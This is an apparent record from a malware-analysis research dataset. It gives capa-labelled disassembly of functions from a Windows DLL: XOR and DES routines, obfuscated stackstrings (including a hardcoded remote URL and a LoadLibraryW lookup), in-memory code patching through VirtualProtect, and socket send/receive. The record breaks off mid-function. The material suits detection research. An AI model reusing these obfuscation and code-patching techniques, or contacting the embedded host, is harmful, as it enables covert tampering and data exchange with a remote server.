joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014a9a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 4
lea eax, [ebp - 4]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0xc]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 0x30
push 0x1005bbc8
call fcn.10014a00
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
xor ecx, ecx
sub edi, eax
lea eax, [ebp + ecx - 0xc]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc ecx
cmp ecx, 6
jl 0x10014adb
mov al, byte [ebp - 0xc]
push 0
shr al, 2
call fcn.10014a6f
mov cl, byte [ebp - 0xb]
shl al, 4
or byte [ebp - 4], al
mov al, byte [ebp - 0xc]
and al, 3
shl al, 4
shr cl, 4
push 1
or al, cl
call fcn.10014a6f
or byte [ebp - 4], al
mov al, byte [ebp - 0xb]
mov cl, byte [ebp - 0xa]
and al, 0xf
shl al, 2
shr cl, 6
push 2
or al, cl
call fcn.10014a6f
shl al, 4
or byte [ebp - 3], al
mov al, byte [ebp - 0xa]
push 3
and al, 0x3f
call fcn.10014a6f
or byte [ebp - 3], al
mov al, byte [ebp - 9]
push 4
shr al, 2
call fcn.10014a6f
mov cl, byte [ebp - 8]
shl al, 4
or byte [ebp - 2], al
mov al, byte [ebp - 9]
and al, 3
shl al, 4
shr cl, 4
push 5
or al, cl
call fcn.10014a6f
or byte [ebp - 2], al
mov al, byte [ebp - 8]
mov cl, byte [ebp - 7]
and al, 0xf
shl al, 2
shr cl, 6
push 6
or al, cl
call fcn.10014a6f
shl al, 4
or byte [ebp - 1], al
mov al, byte [ebp - 7]
push 7
and al, 0x3f
call fcn.10014a6f
or byte [ebp - 1], al
push 4
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x20
push 0x1005bbf8
call fcn.10014a00
pop edi
leave
ret 0xc

Function at 0x10014bc3
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x94
push ebx
push esi
push edi
push 8
mov edi, eax
lea eax, [ebp - 0x28]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x74]
push 0x40
push 0x1005bc58
call fcn.10014a00
cmp dword [ebp + 0x7c], 0
push 0x10
lea esi, [ebp - 0x24]
pop ebx
je 0x10014c30
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.10014a9a
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x10014c17
add edi, 6
dec ebx
jne 0x10014c02
jmp 0x10014c5f
add edi, 0x5a
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.10014a9a
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x10014c48
sub edi, 6
dec ebx
jne 0x10014c33
pop edi
pop esi
xor eax, eax
pop ebx
mov cl, byte [ebp + eax + 0x5c]
mov byte [ebp + eax + 0x60], cl
mov cl, byte [ebp + eax + 0x58]
mov byte [ebp + eax + 0x64], cl
inc eax
cmp eax, 4
jl 0x10014c64
push 8
push 0
push dword [ebp + 0x78]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x78]
lea eax, [ebp + 0x60]
push eax
push 0x40
push 0x1005bc18
call fcn.10014a00
add ebp, 0x6c
leave
ret 0xc
Function at 0x10014ca3
Capabilities:
Encrypt data using des

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
push edi
push 7
xor edi, edi
lea eax, [ebp + 0x68]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x78]
push 0x38
push str.80_
call fcn.10014a00
movzx edx, byte [ebp + 0x69]
movzx eax, byte [ebp + 0x6b]
xor ecx, ecx
mov ch, byte [ebp + 0x68]
xor esi, esi
inc esi
or ecx, edx
movzx edx, byte [ebp + 0x6a]
shl ecx, 8
or ecx, edx
mov edx, eax
shl ecx, 4
shr edx, 4
or ecx, edx
and eax, 0xf
shl eax, 8
mov dword [ebp - 0x28], ecx
movzx ecx, byte [ebp + 0x6c]
or eax, ecx
movzx ecx, byte [ebp + 0x6d]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp + 0x6e]
shl eax, 8
or eax, ecx
mov edx, 0x1005bcd0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
dec edx
cmp byte [edx + esi], 2
mov ecx, dword [eax - 4]
mov ebx, ecx
jne 0x10014d4f
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
jmp 0x10014d68
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov dword [eax + 8], ebx
inc esi
add eax, 8
cmp esi, 0x11
jl 0x10014d27
mov ebx, dword [ebp + 0x7c]
push 0x60
push edi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + edi*8 - 0x20]
mov ecx, dword [eax]
mov al, byte [eax]
mov edx, ecx
sar edx, 0x14
mov byte [ebp + 0x60], dl
mov edx, ecx
sar ecx, 4
sar edx, 0xc
mov byte [ebp + 0x62], cl
lea ecx, [ebp + edi*8 - 0x1c]
mov esi, dword [ecx]
mov byte [ebp + 0x61], dl
shl al, 4
mov edx, esi
sar edx, 0x18
and dl, 0xf
or dl, al
mov eax, esi
sar eax, 0x10
mov byte [ebp + 0x64], al
mov eax, esi
sar eax, 8
mov byte [ebp + 0x65], al
mov al, byte [ecx]
push ebx
mov byte [ebp + 0x66], al
lea eax, [ebp + 0x60]
push eax
push 0x30
push 0x1005bce0
mov byte [ebp + 0x63], dl
call fcn.10014a00
inc edi
add ebx, 6
cmp edi, 0x10
jl 0x10014d85
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8
Function at 0x10015101
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], 0x6b
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x33
mov byte [ebp - 5], 0x32
mov byte [ebp - 4], 0
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x4c
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x62
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x57
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1001517a
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1001517c
xor eax, eax
push 9
pop edx
lea ecx, [ebp - 0xc]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x10015182
push 0xd
pop edx
lea ecx, [ebp - 0x1c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x1001518f
test eax, eax
je 0x100151a1
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret

Function at 0x1001560d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x30]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x1001570a
push edi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100156f0
cmp dword [ebp - 0x1c], 0x20
jne 0x100156f0
cmp dword [ebp - 0x18], 0x1000000
jne 0x100156f0
cmp dword [ebp - 4], eax
je 0x10015684
xor ebx, ebx
cmp eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
sete bl
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
add eax, edi
mov dword [ebp - 0x10], eax
jmp 0x100156ec
lea eax, [edi + 0x40]
cmp eax, dword [ebp - 0x10]
ja 0x100156f0
push 0x40
push dword [ebp + 8]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100156eb
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100156eb
push 0x40
push dword [ebp + 0xc]
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 8], 1
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ebx, ebx
inc edi
test ebx, ebx
jne 0x10015691
mov ecx, dword [ebp - 0x30]
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x24]
add eax, ecx
push eax
call esi
test eax, eax
jne 0x10015656
pop edi
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x10015711
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x38]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10015854
push edi
jmp 0x1001575e
xor esi, esi
mov eax, dword [ebp - 0x34]
cmp eax, esi
je 0x10015836
cmp dword [ebp - 0x24], 0x20
jne 0x10015836
cmp dword [ebp - 0x20], 0x1000000
jne 0x10015836
cmp dword [ebp - 0xc], eax
je 0x10015793
xor ecx, ecx
cmp eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
sete cl
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
add ecx, eax
cmp dword [ebp - 4], esi
mov dword [ebp - 0x18], ecx
je 0x10015839
mov esi, eax
lea ecx, [eax + 0x40]
sub esi, ebx
mov dword [ebp - 8], ecx
add esi, 0x3c
jmp 0x100157b9
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 8], ecx
ja 0x10015839
push 0x40
push dword [ebp + 8]
lea edi, [ebx + esi - 0x3c]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1001582c
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001582c
mov eax, dword [ebp + 0xc]
sub eax, edi
lea eax, [eax + ebx - 0x40]
push ebx
mov dword [esi], eax
lea eax, [esi + 4]
push 0x90
push eax
mov byte [esi - 1], 0xe8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x10], 1
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
inc dword [ebp - 8]
inc esi
cmp dword [ebp - 4], 0
jne 0x100157b6
mov eax, dword [ebp - 0x38]
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1001575c
pop edi
mov eax, dword [ebp - 0x10]
pop esi
leave
ret
Function at 0x1001585a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor eax, eax
push 0x1c
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x1001590f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100158f9
cmp dword [ebp - 0x14], 0x20
je 0x100158ad
cmp dword [ebp - 0x14], 0x10
jne 0x100158f9
cmp dword [ebp - 0x10], 0x1000000
jne 0x100158f9
cmp dword [ebp - 4], eax
je 0x100158f9
cmp eax, edi
mov dword [ebp - 4], eax
ja 0x100158f9
mov ecx, dword [ebp - 0x1c]
add eax, ecx
lea edx, [edi + 4]
cmp edx, eax
ja 0x100158f9
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push dword [ebp - 0x28]
call ebx
test eax, eax
je 0x100158f9
mov eax, dword [ebp + 8]
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 1
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0x1c]
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
jne 0x1001589a
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x10018d71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov al, 0xff
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
push 0x10018d42
lea eax, [ebp - 0x40]
push eax
push 0xb
pop ebx
mov byte [ebp - 0x3f], 0x8b
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0x60
mov byte [ebp - 0x3c], 0xfb
mov byte [ebp - 0x39], 0x3b
mov byte [ebp - 0x38], 5
mov byte [ebp - 0x37], 0x84
mov byte [ebp - 0x36], 0x5d
mov byte [ebp - 0x35], 0xea
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x7e
mov byte [ebp - 0x31], 0x8b
mov byte [ebp - 0x30], 0x40
mov byte [ebp - 0x2f], 0x10
mov byte [ebp - 0x2e], 0x8b
mov byte [ebp - 0x2d], 0x48
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 0x89
mov byte [ebp - 0x2a], 0x8d
mov byte [ebp - 0x29], 0x78
mov byte [ebp - 0x28], 0xfb
mov byte [ebp - 0x25], 0x8b
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0xc
mov byte [ebp - 0x22], 0x89
mov byte [ebp - 0x21], 0x95
mov byte [ebp - 0x20], 0x7c
mov byte [ebp - 0x1f], 0xfb
mov byte [ebp - 0x1c], 0xdb
mov byte [ebp - 0x1b], 0x40
mov byte [ebp - 0x1a], 0x10
mov byte [ebp - 0x19], 0xd9
mov byte [ebp - 0x18], 0x9d
mov byte [ebp - 0x17], 0x80
mov byte [ebp - 0x16], 0xfb
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x48
mov byte [ebp - 0x11], 0x14
mov byte [ebp - 0x10], 0xf7
mov byte [ebp - 0xf], 0xd9
mov byte [ebp - 0xe], 0x1b
mov byte [ebp - 0xd], 0xc9
mov byte [ebp - 0xc], 0x81
mov byte [ebp - 0xb], 0xe1
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0xfa
mov byte [ebp - 8], 0xa
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0x81
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0x4d
mov byte [ebp - 3], 0x50
mov byte [ebp - 2], 0x45
mov byte [ebp - 1], 0x47
call fcn.10015711
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x100193cb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor al, al
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x34], al
mov byte [ebp - 0x29], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 9], al
lea eax, [ebp - 0x40]
push 0x100193b3
push eax
xor ebx, ebx
mov byte [ebp - 0x3f], 0xa3
mov byte [ebp - 0x3e], pe_nt_image_headers32
mov byte [ebp - 0x3d], 0xa8
mov byte [ebp - 0x3c], 0x85
mov byte [ebp - 0x3b], 1
mov byte [ebp - 0x3a], 0xeb
mov byte [ebp - 0x39], 0x15
mov byte [ebp - 0x38], 0x68
mov byte [ebp - 0x37], 0x90
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0xc1
mov byte [ebp - 0x33], 0x8d
mov byte [ebp - 0x32], 0x8d
mov byte [ebp - 0x31], 0x90
mov byte [ebp - 0x30], 0xfd
mov byte [ebp - 0x2f], 0xff
mov byte [ebp - 0x2e], 0xff
mov byte [ebp - 0x2d], 0xe8
mov byte [ebp - 0x2c], 0xd2
mov byte [ebp - 0x2b], 0x9a
mov byte [ebp - 0x2a], 0x22
mov byte [ebp - 0x28], 0xbe
mov byte [ebp - 0x27], 1
mov byte [ebp - 0x23], 0x8b
mov byte [ebp - 0x22], 0xd
mov byte [ebp - 0x21], 0x24
mov byte [ebp - 0x20], 0x2b
mov byte [ebp - 0x1f], 0xd4
mov byte [ebp - 0x1d], 0x85
mov byte [ebp - 0x1c], 0xc9
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x19
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x85
mov byte [ebp - 0x17], 0x90
mov byte [ebp - 0x16], 0xfd
mov byte [ebp - 0x15], 0xff
mov byte [ebp - 0x14], 0xff
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x15
mov byte [ebp - 0x11], 0xd4
mov byte [ebp - 0x10], 0x38
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0x83
mov byte [ebp - 0xc], 0x7c
mov byte [ebp - 0xb], 2
mov byte [ebp - 0xa], pe_nt_image_headers32
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 6
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0xe8
mov byte [ebp - 4], 0xda
mov byte [ebp - 3], 0x22
mov byte [ebp - 2], 0xfe
mov byte [ebp - 1], 0xff
call fcn.10015711
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x100194e1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1005fe8c]
push esi
push dword [eax]
mov eax, dword [0x1005fe70]
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
push str._s_key_slanguage_s
mov esi, 0x1005fc80
push esi
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x3a
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x2f
mov byte [ebp - 0x25], 0x31
mov byte [ebp - 0x24], 0x33
mov byte [ebp - 0x23], 0x38
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x31
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x33
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x37
mov byte [ebp - 0x19], 0x31
mov byte [ebp - 0x18], 0x2f
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x30
mov byte [ebp - 7], 0x31
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x68
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0xd41980]
add esp, 0x14
mov dword [eax + 0x730], esi
pop esi
leave
ret
Function at 0x1001bef3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [esi + 0x10]
push ebx
xor ebx, ebx
cmp ax, bx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
je 0x1001bf3a
mov eax, dword [esi + 0xc]
imul eax, eax, 0x20080825
push 0xdff6dffa
push 0xe689e67e
mov edi, 0xa20191cb
sub edi, eax
push ebx
push edi
mov dword [esi + 0xc], edi
call fcn.10043140
and edi, 7
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov ebx, edi
movzx eax, word [esi + 0x10]
lea ecx, [eax + ebx + 4]
shr ecx, 4
lea edi, [esi + 0x1010]
mov byte [edi], cl
mov cl, byte [esi + 0x10]
add cl, bl
add cl, 4
and cl, 0xf
mov byte [esi + 0x1011], cl
mov cx, word [esi + 0x12]
xor cx, word [edi]
xor edx, edx
xor cx, 0x4000
test ax, ax
mov word [esi + 0x1012], cx
jbe 0x1001bf95
movzx eax, dx
lea ecx, [eax + esi]
and eax, 3
mov al, byte [eax + esi + 0xc]
xor al, byte [ecx + 0x14]
inc edx
mov byte [ecx + 0x1014], al
cmp dx, word [esi + 0x10]
jb 0x1001bf78
push ebx
lea eax, [ebp - 8]
push eax
movzx eax, word [esi + 0x10]
lea eax, [eax + esi + 0x1014]
push eax
call sub.MSVCRT.dll_memcpy
movzx eax, word [esi + 0x10]
push edi
push dword [ebp + 8]
lea eax, [eax + ebx + 4]
call fcn.100270e7
add esp, 0x14
pop edi
pop ebx
leave
ret
Function at 0x10026f34
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and word [ebp - 0x30], 0
push ebx
push esi
push edi
push 0x69
pop edi
push 0x6e
pop ebx
push 0x1a
mov word [ebp - 0x60], 0x41
mov word [ebp - 0x5e], 0x6c
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], di
mov word [ebp - 0x56], 0x61
mov word [ebp - 0x54], 0x4f
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], 0x6c
mov word [ebp - 0x4e], di
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], 0x65
mov word [ebp - 0x48], 0x5c
mov word [ebp - 0x46], 0x53
mov word [ebp - 0x44], 0x65
mov word [ebp - 0x42], 0x74
mov word [ebp - 0x40], 0x75
mov word [ebp - 0x3e], 0x70
mov word [ebp - 0x3c], 0x5c
mov word [ebp - 0x3a], 0x37
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x61
mov word [ebp - 0x32], 0x74
call fcn.10004c0c
mov esi, eax
push 0
push esi
lea eax, [ebp - 0x60]
mov dword [ebp - 4], esi
call fcn.10004286
add esp, 0xc
push 0x32
pop ecx
lea eax, [ebp - 0x60]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10026fee
push dword [esi]
call fcn.10002df8
test eax, eax
pop ecx
je 0x10027022
mov ecx, dword [0x1005fe88]
mov esi, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [ecx + 4], esi
mov esi, dword [eax]
mov dword [eax + 4], edx
mov edx, dword [ecx]
mov dword [ecx], esi
mov esi, eax
mov dword [eax], edx
call fcn.1000404d
mov esi, dword [ebp - 4]
call fcn.10004025
and word [ebp - 8], 0
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x2c], 0x41
mov word [ebp - 0x2a], 0x6c
mov word [ebp - 0x28], di
mov word [ebp - 0x26], 0x63
mov word [ebp - 0x24], di
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x5f
mov word [ebp - 0x1e], 0x4f
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], di
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x5f
mov word [ebp - 0x10], 0x53
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x6f
mov word [ebp - 0xa], 0x70
call fcn.100048b7
pop ecx
push 0x26
mov ebx, eax
pop ecx
lea eax, [ebp - 0x2c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x100270a3
cmp dword [ebx + 4], 0
je 0x100270d8
push dword [ebx]
call fcn.10003d4f
test eax, eax
pop ecx
mov dword [ebp - 4], eax
je 0x100270d8
push dword [eax]
mov edi, dword [eax + 4]
mov esi, dword [0x1005fe88]
call fcn.100040c9
mov edi, dword [ebp - 4]
pop ecx
call fcn.10003de3
mov esi, ebx
call fcn.10004025
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x100270e7
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x10027119
cmp edi, 0x1000
mov eax, 0x1000
jg 0x100270fe
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_send
test eax, eax
jle 0x10027123
sub edi, eax
add esi, eax
test edi, edi
jne 0x100270ef
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x10027120
Function at 0x10027127
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x10027159
cmp edi, 0x1000
mov eax, 0x1000
jg 0x1002713e
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_recv
test eax, eax
jle 0x10027163
sub edi, eax
add esi, eax
test edi, edi
jne 0x1002712f
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x10027160

Function at 0x100271d5
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x402c
call fcn.10043180
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov edi, 0x4004667f
push edi
push dword [ebp + 8]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x10027278
xor ebx, ebx
cmp dword [ebp - 4], ebx
je 0x1002727f
push ebx
push 0x4000
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
mov esi, eax
cmp esi, ebx
jle 0x10027278
mov eax, dword [ebp + 0x10]
mov ax, word [eax + 8]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x14], si
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 0xc]
mov eax, esi
call fcn.100270e7
test eax, eax
pop ecx
pop ecx
je 0x10027278
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 8]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
